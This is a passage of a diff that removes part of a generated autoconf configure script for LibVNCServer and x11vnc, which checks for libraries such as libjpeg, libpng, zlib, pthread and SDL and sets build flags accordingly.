- ac_fn_c_check_header_mongrel "$LINENO" "linux/input.h" "ac_cv_header_linux_input_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_input_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_INPUT_H 1" >>confdefs.h
- HAVE_LINUX_INPUT_H="true"
-fi
-
-
- if test "x$HAVE_LINUX_INPUT_H" = "xtrue"; then
- ac_fn_c_check_header_compile "$LINENO" "linux/uinput.h" "ac_cv_header_linux_uinput_h" "#include <linux/input.h>
-"
-if test "x$ac_cv_header_linux_uinput_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_UINPUT_H 1" >>confdefs.h
-
-fi
-
-
- fi
-fi
-
-if test "x$with_macosx_native" != "xno"; then
- $as_echo "@%:@define HAVE_MACOSX_NATIVE_DISPLAY 1" >>confdefs.h
-
-fi
-
-# Check for OS X opengl header
-ac_fn_c_check_header_mongrel "$LINENO" "OpenGL/OpenGL.h" "ac_cv_header_OpenGL_OpenGL_h" "$ac_includes_default"
-if test "x$ac_cv_header_OpenGL_OpenGL_h" = xyes; then :
- $as_echo "@%:@define HAVE_MACOSX_OPENGL_H 1" >>confdefs.h
- HAVE_MACOSX_OPENGL_H="true"
-fi
-
-
-
-
-
-@%:@ Check whether --with-avahi was given.
-if test "${with_avahi+set}" = set; then :
- withval=$with_avahi;
-fi
-
-if test "x$with_avahi" != "xno"; then
- printf "checking for avahi... "
- if test ! -z "$with_avahi" -a "x$with_avahi" != "xyes"; then
- AVAHI_CFLAGS="-I$with_avahi/include"
- AVAHI_LIBS="-L$with_avahi/lib -lavahi-common -lavahi-client"
- echo "using $with_avahi"
- with_avahi=yes
- elif pkg-config --atleast-version=0.6.4 avahi-client >/dev/null 2>&1; then
- AVAHI_CFLAGS=`pkg-config --cflags avahi-client`
- AVAHI_LIBS=`pkg-config --libs avahi-client`
- with_avahi=yes
- echo yes
- else
- with_avahi=no
- echo no
- fi
-fi
-if test "x$with_avahi" = "xyes"; then
- $as_echo "@%:@define HAVE_AVAHI 1" >>confdefs.h
-
-
-
-fi
-
-fi
-# end x11vnc only.
-
-# only used in x11vnc/Makefile.am but needs to always be defined:
- if test "$HAVE_MACOSX_OPENGL_H" = "true"; then
- OSX_OPENGL_TRUE=
- OSX_OPENGL_FALSE='#'
-else
- OSX_OPENGL_TRUE='#'
- OSX_OPENGL_FALSE=
-fi
-
-
-# Checks for libraries.
-
-if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- printf "checking for system libvncserver... "
- vneed="0.9.1"
- if test "X$VNEED" != "X"; then
- vneed=$VNEED
- fi
- if test "x$with_system_libvncserver" != "xyes"; then
- rflag=""
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag="-Xlinker -R$with_system_libvncserver/lib"
- else
- rflag="-R$with_system_libvncserver/lib"
- fi
- cmd="$with_system_libvncserver/bin/libvncserver-config"
- if $cmd --version 1>/dev/null 2>&1; then
- cvers=`$cmd --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- with_system_libvncserver=no
- as_fn_error $? "
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-" "$LINENO" 5
- else
- SYSTEM_LIBVNCSERVER_CFLAGS="-I$with_system_libvncserver/include"
- SYSTEM_LIBVNCSERVER_LIBS="-L$with_system_libvncserver/lib $rflag -lvncserver -lvncclient"
- echo "using $with_system_libvncserver"
- with_system_libvncserver=yes
- fi
- else
- echo " *** cannot run $cmd *** " 1>&2
- with_system_libvncserver=no
- echo no
- fi
- elif libvncserver-config --version 1>/dev/null 2>&1; then
- rflag=""
- rprefix=`libvncserver-config --prefix`
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag=" -Xlinker -R$rprefix/lib "
- else
- rflag=" -R$rprefix/lib "
- fi
- cvers=`libvncserver-config --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- as_fn_error $? "
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-" "$LINENO" 5
- else
- SYSTEM_LIBVNCSERVER_CFLAGS=`libvncserver-config --cflags`
- SYSTEM_LIBVNCSERVER_LIBS="$rflag"`libvncserver-config --libs`
- with_system_libvncserver=yes
- echo yes
- fi
- else
- with_system_libvncserver=no
- echo no
- fi
-fi
-
-if test "x$with_system_libvncserver" = "xyes"; then
- $as_echo "@%:@define HAVE_SYSTEM_LIBVNCSERVER 1" >>confdefs.h
-
-
-
-fi
- if test "x$with_system_libvncserver" = "xyes"; then
- HAVE_SYSTEM_LIBVNCSERVER_TRUE=
- HAVE_SYSTEM_LIBVNCSERVER_FALSE='#'
-else
- HAVE_SYSTEM_LIBVNCSERVER_TRUE='#'
- HAVE_SYSTEM_LIBVNCSERVER_FALSE=
-fi
-
-
-
-
-@%:@ Check whether --with-jpeg was given.
-if test "${with_jpeg+set}" = set; then :
- withval=$with_jpeg;
-fi
-
-
-# At this point:
-# no jpeg on command line with_jpeg=""
-# -with-jpeg with_jpeg="yes"
-# -without-jpeg with_jpeg="no"
-# -with-jpeg=/foo/dir with_jpeg="/foo/dir"
-
-HAVE_LIBJPEG_TURBO="false"
-
-if test "x$with_jpeg" != "xno"; then
-
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- saved_LIBS="$LIBS"
- if test ! -z "$with_jpeg" -a "x$with_jpeg" != "xyes"; then
- # add user supplied directory to flags:
- CPPFLAGS="$CPPFLAGS -I$with_jpeg/include"
- LDFLAGS="$LDFLAGS -L$with_jpeg/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- # this is not complete... in general a rat's nest.
- LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_jpeg/lib"
- fi
- fi
- if test "x$JPEG_LDFLAGS" != "x"; then
- LDFLAGS="$saved_LDFLAGS"
- LIBS="$LIBS $JPEG_LDFLAGS"
- else
- LIBS="-ljpeg"
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "jpeglib.h" "ac_cv_header_jpeglib_h" "$ac_includes_default"
-if test "x$ac_cv_header_jpeglib_h" = xyes; then :
- HAVE_JPEGLIB_H="true"
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for jpeg_CreateCompress in libjpeg" >&5
-$as_echo_n "checking for jpeg_CreateCompress in libjpeg... " >&6; }
- if test "x$HAVE_JPEGLIB_H" = "xtrue"; then
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char jpeg_CreateCompress ();
-int
-main ()
-{
-return jpeg_CreateCompress ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; };
-
-$as_echo "@%:@define HAVE_LIBJPEG 1" >>confdefs.h
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }; HAVE_JPEGLIB_H=""
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- fi
- if test "x$HAVE_JPEGLIB_H" != "xtrue"; then
- # restore old flags on failure:
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- LIBS="$saved_LIBS"
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libjpeg compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libjpeg is in a non-standard location use --with-jpeg=DIR to
-indicate the header file is in DIR/include/jpeglib.h and the library
-in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to
-specify more detailed linker flags. A copy of libjpeg-turbo may be
-obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/
-A copy of libjpeg may be obtained from: http://ijg.org/files/
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libjpeg compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libjpeg is in a non-standard location use --with-jpeg=DIR to
-indicate the header file is in DIR/include/jpeglib.h and the library
-in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to
-specify more detailed linker flags. A copy of libjpeg-turbo may be
-obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/
-A copy of libjpeg may be obtained from: http://ijg.org/files/
-==========================================================================
-" >&2;}
- sleep 5
- fi
-
- if test "x$HAVE_JPEGLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether JPEG library is libjpeg-turbo" >&5
-$as_echo_n "checking whether JPEG library is libjpeg-turbo... " >&6; }
-
- if test "x$cross_compiling" != "xyes"; then
- if test "$cross_compiling" = yes; then :
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
-$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
-as_fn_error $? "cannot run test program while cross compiling
-See \`config.log' for more details" "$LINENO" 5; }
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdio.h>
- #include <jpeglib.h>
-int
-main ()
-{
-struct jpeg_compress_struct cinfo;
- struct jpeg_error_mgr jerr;
- cinfo.err=jpeg_std_error(&jerr);
- jpeg_create_compress(&cinfo);
- cinfo.input_components = 3;
- jpeg_set_defaults(&cinfo);
- cinfo.in_color_space = JCS_EXT_RGB;
- jpeg_default_colorspace(&cinfo);
- return 0;
- ;
- return 0;
-}
-
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- HAVE_LIBJPEG_TURBO="true"; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
- else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdio.h>
- #include <jpeglib.h>
-int
-main ()
-{
-struct jpeg_compress_struct cinfo;
- struct jpeg_error_mgr jerr;
- cinfo.err=jpeg_std_error(&jerr);
- jpeg_create_compress(&cinfo);
- cinfo.input_components = 3;
- jpeg_set_defaults(&cinfo);
- cinfo.in_color_space = JCS_EXT_RGB;
- jpeg_default_colorspace(&cinfo);
- return 0;
- ;
- return 0;
-}
-
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- HAVE_LIBJPEG_TURBO="true"; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- fi
- fi
-
- if test "x$HAVE_JPEGLIB_H" = "xtrue" -a "x$HAVE_LIBJPEG_TURBO" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-" >&2;}
- fi
-
-fi
-
-
-@%:@ Check whether --with-png was given.
-if test "${with_png+set}" = set; then :
- withval=$with_png;
-fi
-
-
-# At this point:
-# no png on command line with_png=""
-# -with-png with_png="yes"
-# -without-png with_png="no"
-# -with-png=/foo/dir with_png="/foo/dir"
-
-if test "x$with_png" != "xno"; then
- if test ! -z "$with_png" -a "x$with_png" != "xyes"; then
- # add user supplied directory to flags:
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_png/include"
- LDFLAGS="$LDFLAGS -L$with_png/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- # this is not complete... in general a rat's nest.
- LDFLAGS="$LDFLAGS -Xlinker -R$with_png/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_png/lib"
- fi
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "png.h" "ac_cv_header_png_h" "$ac_includes_default"
-if test "x$ac_cv_header_png_h" = xyes; then :
- HAVE_PNGLIB_H="true"
-fi
-
-
- if test "x$HAVE_PNGLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for png_create_write_struct in -lpng" >&5
-$as_echo_n "checking for png_create_write_struct in -lpng... " >&6; }
-if ${ac_cv_lib_png_png_create_write_struct+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpng $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char png_create_write_struct ();
-int
-main ()
-{
-return png_create_write_struct ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_png_png_create_write_struct=yes
-else
- ac_cv_lib_png_png_create_write_struct=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_png_png_create_write_struct" >&5
-$as_echo "$ac_cv_lib_png_png_create_write_struct" >&6; }
-if test "x$ac_cv_lib_png_png_create_write_struct" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBPNG 1
-_ACEOF
-
- LIBS="-lpng $LIBS"
-
-else
- HAVE_PNGLIB_H=""
-fi
-
- fi
- if test ! -z "$with_png" -a "x$with_png" != "xyes"; then
- if test "x$HAVE_PNGLIB_H" != "xtrue"; then
- # restore old flags on failure:
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
- if test "$build_x11vnc" = "yes"; then
- if test "x$HAVE_PNGLIB_H" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libpng compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libpng is in a non-standard location use --with-png=DIR to
-indicate the header file is in DIR/include/png.h and the library
-in DIR/lib/libpng.a. A copy of libpng may be obtained from:
-http://www.libpng.org/pub/png/libpng.html
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libpng compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libpng is in a non-standard location use --with-png=DIR to
-indicate the header file is in DIR/include/png.h and the library
-in DIR/lib/libpng.a. A copy of libpng may be obtained from:
-http://www.libpng.org/pub/png/libpng.html
-==========================================================================
-" >&2;}
- sleep 5
- fi
- fi
-fi
-
-
-@%:@ Check whether --with-libz was given.
-if test "${with_libz+set}" = set; then :
- withval=$with_libz;
-fi
-
-
-@%:@ Check whether --with-zlib was given.
-if test "${with_zlib+set}" = set; then :
- withval=$with_zlib;
-fi
-
-
-if test "x$with_zlib" != "xno" -a "x$with_libz" != "xno"; then
- if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_zlib/include"
- LDFLAGS="$LDFLAGS -L$with_zlib/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_zlib/lib"
- fi
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "zlib.h" "ac_cv_header_zlib_h" "$ac_includes_default"
-if test "x$ac_cv_header_zlib_h" = xyes; then :
- HAVE_ZLIB_H="true"
-fi
-
-
- if test "x$HAVE_ZLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for deflate in -lz" >&5
-$as_echo_n "checking for deflate in -lz... " >&6; }
-if ${ac_cv_lib_z_deflate+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lz $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char deflate ();
-int
-main ()
-{
-return deflate ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_z_deflate=yes
-else
- ac_cv_lib_z_deflate=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_z_deflate" >&5
-$as_echo "$ac_cv_lib_z_deflate" >&6; }
-if test "x$ac_cv_lib_z_deflate" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBZ 1
-_ACEOF
-
- LIBS="-lz $LIBS"
-
-else
- HAVE_ZLIB_H=""
-fi
-
- fi
- if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then
- if test "x$HAVE_ZLIB_H" != "xtrue"; then
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
- if test "$build_x11vnc" = "yes"; then
- if test "x$HAVE_ZLIB_H" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libz compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libz is in a non-standard location use --with-zlib=DIR to indicate the
-header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a.
-A copy of libz may be obtained from: http://www.gzip.org/zlib/
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libz compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libz is in a non-standard location use --with-zlib=DIR to indicate the
-header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a.
-A copy of libz may be obtained from: http://www.gzip.org/zlib/
-==========================================================================
-" >&2;}
- sleep 5
- fi
- fi
-fi
-
-
-@%:@ Check whether --with-pthread was given.
-if test "${with_pthread+set}" = set; then :
- withval=$with_pthread;
-fi
-
-
-if test "x$with_pthread" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "pthread.h" "ac_cv_header_pthread_h" "$ac_includes_default"
-if test "x$ac_cv_header_pthread_h" = xyes; then :
- HAVE_PTHREAD_H="true"
-fi
-
-
- if test ! -z "$HAVE_PTHREAD_H"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_mutex_lock in -lpthread" >&5
-$as_echo_n "checking for pthread_mutex_lock in -lpthread... " >&6; }
-if ${ac_cv_lib_pthread_pthread_mutex_lock+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpthread $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char pthread_mutex_lock ();
-int
-main ()
-{
-return pthread_mutex_lock ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_pthread_pthread_mutex_lock=yes
-else
- ac_cv_lib_pthread_pthread_mutex_lock=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_mutex_lock" >&5
-$as_echo "$ac_cv_lib_pthread_pthread_mutex_lock" >&6; }
-if test "x$ac_cv_lib_pthread_pthread_mutex_lock" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBPTHREAD 1
-_ACEOF
-
- LIBS="-lpthread $LIBS"
-
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_mutex_lock in -lpthread" >&5
-$as_echo_n "checking for pthread_mutex_lock in -lpthread... " >&6; }
-if ${ac_cv_lib_pthread_pthread_mutex_lock+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpthread $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char pthread_mutex_lock ();
-int
-main ()
-{
-return pthread_mutex_lock ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_pthread_pthread_mutex_lock=yes
-else
- ac_cv_lib_pthread_pthread_mutex_lock=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_mutex_lock" >&5
-$as_echo "$ac_cv_lib_pthread_pthread_mutex_lock" >&6; }
-if test "x$ac_cv_lib_pthread_pthread_mutex_lock" = xyes; then :
- HAVE_LIBPTHREAD="true"
-fi
-
- fi
-fi
- if test ! -z "$HAVE_LIBPTHREAD"; then
- HAVE_LIBPTHREAD_TRUE=
- HAVE_LIBPTHREAD_FALSE='#'
-else
- HAVE_LIBPTHREAD_TRUE='#'
- HAVE_LIBPTHREAD_FALSE=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for __thread" >&5
-$as_echo_n "checking for __thread... " >&6; }
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-static __thread int p = 0
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-$as_echo "@%:@define HAVE_TLS 1" >>confdefs.h
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-
-# tightvnc-filetransfer implemented using threads:
-if test -z "$HAVE_LIBPTHREAD"; then
- with_tightvnc_filetransfer=""
-fi
-if test "x$with_tightvnc_filetransfer" = "xyes"; then
- $as_echo "@%:@define WITH_TIGHTVNC_FILETRANSFER 1" >>confdefs.h
-
-fi
- if test "$with_tightvnc_filetransfer" = "yes"; then
- WITH_TIGHTVNC_FILETRANSFER_TRUE=
- WITH_TIGHTVNC_FILETRANSFER_FALSE='#'
-else
- WITH_TIGHTVNC_FILETRANSFER_TRUE='#'
- WITH_TIGHTVNC_FILETRANSFER_FALSE=
-fi
-
-
-# websockets implemented using base64 from resolve
-if test "x$HAVE_B64" != "xtrue"; then
- with_websockets=""
-fi
-if test "x$with_websockets" = "xyes"; then
- LIBS="$LIBS -lresolv $SSL_LIBS"
- $as_echo "@%:@define WITH_WEBSOCKETS 1" >>confdefs.h
-
-fi
- if test "$with_websockets" = "yes"; then
- WITH_WEBSOCKETS_TRUE=
- WITH_WEBSOCKETS_FALSE='#'
-else
- WITH_WEBSOCKETS_TRUE='#'
- WITH_WEBSOCKETS_FALSE=
-fi
-
-
- if test ! -z "$HAVE_ZLIB_H"; then
- HAVE_LIBZ_TRUE=
- HAVE_LIBZ_FALSE='#'
-else
- HAVE_LIBZ_TRUE='#'
- HAVE_LIBZ_FALSE=
-fi
-
- if test ! -z "$HAVE_JPEGLIB_H"; then
- HAVE_LIBJPEG_TRUE=
- HAVE_LIBJPEG_FALSE='#'
-else
- HAVE_LIBJPEG_TRUE='#'
- HAVE_LIBJPEG_FALSE=
-fi
-
- if test ! -z "$HAVE_PNGLIB_H"; then
- HAVE_LIBPNG_TRUE=
- HAVE_LIBPNG_FALSE='#'
-else
- HAVE_LIBPNG_TRUE='#'
- HAVE_LIBPNG_FALSE=
-fi
-
-
-
-SDLCONFIG="sdl-config"
-
-@%:@ Check whether --with-sdl-config was given.
-if test "${with_sdl_config+set}" = set; then :
- withval=$with_sdl_config;
- if test "$withval" != "yes" -a "$withval" != ""; then
- SDLCONFIG=$withval
- fi
-
-fi
-
-
-if test -z "$with_sdl"; then
- if $SDLCONFIG --version >/dev/null 2>&1; then
- with_sdl=yes
- SDL_CFLAGS=`$SDLCONFIG --cflags`
- SDL_LIBS=`$SDLCONFIG --libs`
- else
- with_sdl=no
- fi
-fi
- if test "x$with_sdl" = "xyes"; then
- HAVE_LIBSDL_TRUE=
- HAVE_LIBSDL_FALSE='#'
-else
- HAVE_LIBSDL_TRUE='#'
- HAVE_LIBSDL_FALSE=
-fi
-
-
-
-
-
-# Check for GTK+. if present, build the GTK+ vnc viewer example
-
-
-
-
-
-
-
-if test "x$ac_cv_env_PKG_CONFIG_set" != "xset"; then
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}pkg-config", so it can be a program name with args.
-set dummy ${ac_tool_prefix}pkg-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_PKG_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $PKG_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_PKG_CONFIG="$PKG_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- ;;
-esac
-fi
-PKG_CONFIG=$ac_cv_path_PKG_CONFIG
-if test -n "$PKG_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PKG_CONFIG" >&5
-$as_echo "$PKG_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_path_PKG_CONFIG"; then
- ac_pt_PKG_CONFIG=$PKG_CONFIG
- # Extract the first word of "pkg-config", so it can be a program name with args.
-set dummy pkg-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_ac_pt_PKG_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $ac_pt_PKG_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_ac_pt_PKG_CONFIG="$ac_pt_PKG_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_ac_pt_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- ;;
-esac
-fi
-ac_pt_PKG_CONFIG=$ac_cv_path_ac_pt_PKG_CONFIG
-if test -n "$ac_pt_PKG_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_pt_PKG_CONFIG" >&5
-$as_echo "$ac_pt_PKG_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
